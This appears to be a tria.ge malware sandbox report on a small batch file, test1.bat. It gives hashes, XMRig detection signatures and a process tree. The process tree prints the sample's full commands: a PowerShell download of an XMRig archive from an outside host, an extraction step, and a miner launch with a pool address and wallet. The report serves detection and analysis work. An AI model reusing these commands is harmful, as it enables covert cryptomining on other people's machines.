Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
07/03/2024, 19:07
240307-xsx6dscd3w 1007/03/2024, 19:07
240307-xswybscd3s 1007/03/2024, 19:07
240307-xsvehacd2z 1007/03/2024, 19:07
240307-xss7facd2x 1007/03/2024, 19:07
240307-xsrzdabe29 1007/03/2024, 19:07
240307-xsqfjscc91 1007/03/2024, 19:07
240307-xsn8gsbe26 1007/03/2024, 19:07
240307-xsmpnabe24 1007/03/2024, 19:07
240307-xslglacc9z 1007/03/2024, 19:06
240307-xsjyrsbd97 10Analysis
-
max time kernel
1795s -
max time network
1803s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
07/03/2024, 19:07
Static task
static1
General
-
Target
test1.bat
-
Size
620B
-
MD5
ae675cd3674938550035ef5176a7f8c4
-
SHA1
05896e426ed40e31de4d3b2151f7b64ba8882db0
-
SHA256
0f027fbb0fb8773bb159c37148b974ba3d6a43a5f63890df13ae31cef233b994
-
SHA512
8ab4a7ac21123a9fd7d853e289dc4b4a54e531526e51f9fbbdc11f7d65b7a527c936ca6bfb439a459bd57dac032e28f9519ffdbdc158592b1362fe6def57cdfe
Malware Config
Signatures
-
XMRig Miner payload 52 IoCs
resource yara_rule behavioral1/files/0x0007000000023211-56.dat family_xmrig behavioral1/files/0x0007000000023211-56.dat xmrig behavioral1/memory/3980-59-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-65-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-69-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-71-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-72-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-75-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-76-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-77-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-79-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-80-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-81-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-83-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-85-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-87-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-90-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-91-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-92-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-97-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-98-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-102-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-105-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-107-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-109-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-111-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-112-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-113-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-114-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-115-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-116-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-117-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-118-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-119-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-120-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-121-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-122-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-123-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-124-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-125-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-126-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-127-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-128-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-129-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-130-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-131-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-132-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-133-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-134-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-135-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-136-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig behavioral1/memory/3980-137-0x00007FF63F720000-0x00007FF640224000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 11 2000 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3980 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2000 powershell.exe 2000 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2000 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeLockMemoryPrivilege 3980 xmrig.exe Token: SeLockMemoryPrivilege 3980 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3980 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4780 wrote to memory of 2000 4780 cmd.exe 89 PID 4780 wrote to memory of 2000 4780 cmd.exe 89 PID 4780 wrote to memory of 3132 4780 cmd.exe 100 PID 4780 wrote to memory of 3132 4780 cmd.exe 100 PID 4780 wrote to memory of 3980 4780 cmd.exe 101 PID 4780 wrote to memory of 3980 4780 cmd.exe 101
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {iwr -URI 'https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip' -OutFile 'C:\xmrig\xmrig-6.21.1-gcc-win64.zip';}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {Add-Type -A 'System.IO.Compression.FileSystem';[IO.Compression.ZipFile]::ExtractToDirectory('C:\xmrig\xmrig-6.21.1-gcc-win64.zip', 'C:\xmrig');}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe -coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --threads=8 --cpu-no-yield2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3980
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
2.3MB
MD5b2fa32e171a2ebf3f7958786c8c03746
SHA1fe63893c2037ffa61dd4dadcd2f5c1e0563eefc0
SHA2567dfb037737c36ec5cbbba0536a84c1f8e9ae66b5cad97c78ae7adee6f1431368
SHA512fc07cf46fada2b13efe7a1cf4558422dc14d68ef23a20e957877a0a50163b3cd988f6a928eb990169069619f85b2f895ff77bdfe22c3125c0dd0edb2ce582c0a